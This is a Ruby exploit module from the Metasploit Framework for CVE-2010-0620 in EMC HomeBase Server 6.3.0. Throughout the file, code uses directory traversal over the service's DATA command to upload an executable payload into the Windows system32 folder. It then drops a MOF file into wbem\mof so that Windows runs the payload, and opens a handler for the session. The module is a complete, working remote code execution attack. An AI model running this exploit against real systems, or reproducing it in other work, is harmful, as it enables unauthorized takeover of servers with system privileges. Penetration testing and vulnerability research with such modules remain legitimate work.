##
# $Id: emc_homebase_exec.rb 12458 2011-04-27 20:29:27Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
  Rank = GreatRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::EXE
  include Msf::Exploit::WbemExec

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'EMC HomeBase Server Directory Traversal Remote Code Execution',
      'Description'    => %q{
          This module exploits a directory traversal and remote code execution
        flaw in EMC HomeBase Server 6.3.0.

        Note: This module has only been tested against Windows XP SP3 and Windows 2003 SP2 
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 12458 $',
      'References'     =>
        [
          [ 'CVE', '2010-0620' ],
          [ 'BID', '38380' ],
          [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-020/' ],
        ],
      'Privileged'     => true,
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'process',
          'InitialAutoRunScript' => 'migrate -f',
        },
      'Payload'        =>
        {
          'Space'    => 2048,
          'DisableNops' => true,
          'StackAdjustment' => -3500,
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'Automatic',  { } ],
        ],
      'DefaultTarget' => 0,
      'DisclosureDate' => 'Feb 23 2010'))

    register_options(
      [
        Opt::RPORT(18821),
        OptBool.new('SSL', [true, 'Use SSL', true]),
      ], self.class)
  end

  def exploit

    name = exe_name()
    exe_upload(name)
    select(nil,nil,nil,2)
    mof_upload(name)
    select(nil,nil,nil,4)
    handler

  end

  def exe_name

    rand_text_alpha_upper(8) + ".exe"

  end

  def exe_upload(exe_name)

    # this uploads our final exe payload.

    data = generate_payload_exe
    exe_dir = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\"
  
    connect

    banner = sock.get
      if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
        print_good("EMC HomeBase HomebaseSSL Service Detected!")
        print_status("Sending exe payload '#{exe_name}'...")
        sock.put("DATA #{exe_dir}#{exe_name} #{data.length}\r\n")
        ready = sock.get
          if ( ready =~ /150 Ready to Recieve Data/ )
            print_good("#{ready.strip}")
            print_status("Sending '#{data.length}' bytes of data...")
            sock.put(data)
            complete = sock.get
            if ( complete =~ /226 Data Complete/ )
              print_good("#{complete.strip}")
              print_status("Sending 'QUIT")
              sock.put("quit\r\n")
              return
            end
          else
            print_error("Something went wrong...")
            return
          end
      else 
        print_error("Not a EMC HomeBaseSSL Service")
        return
      end
    
    disconnect

  end

  def mof_upload(exe_name)

    # this is what runs our uploaded exe payload.

    mof_name = rand_text_alphanumeric(8+rand(8))
    mof      = generate_mof(mof_name, exe_name)
    mof_dir  = "/..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\WINDOWS\\\\system32\\\\wbem\\\\mof\\\\"

    connect

    banner = sock.get
      if ( banner =~ /EMC HomeBase HomebaseSSL Service/ )
        print_good("EMC HomeBase HomebaseSSL Service Detected!")
        print_status("Sending MOF file '#{mof_name}'...")
        sock.put("DATA #{mof_dir}#{mof_name} #{mof.length}\r\n")
        ready = sock.get
          if ( ready =~ /150 Ready to Recieve Data/ )
            print_good("#{ready.strip}")
            print_status("Sending '#{mof.length}' bytes of data...")
            sock.put(mof)
            complete = sock.get
              if ( complete =~ /226 Data Complete/ )
                print_good("#{complete.strip}")
                print_status("Sending 'QUIT")
                sock.put("quit\r\n")
                return
              end
          else
            print_error("Something went wrong...")
            return
          end
      else
        print_error("Not a EMC HomeBaseSSL Service")
        return
                        end

    disconnect

  end
end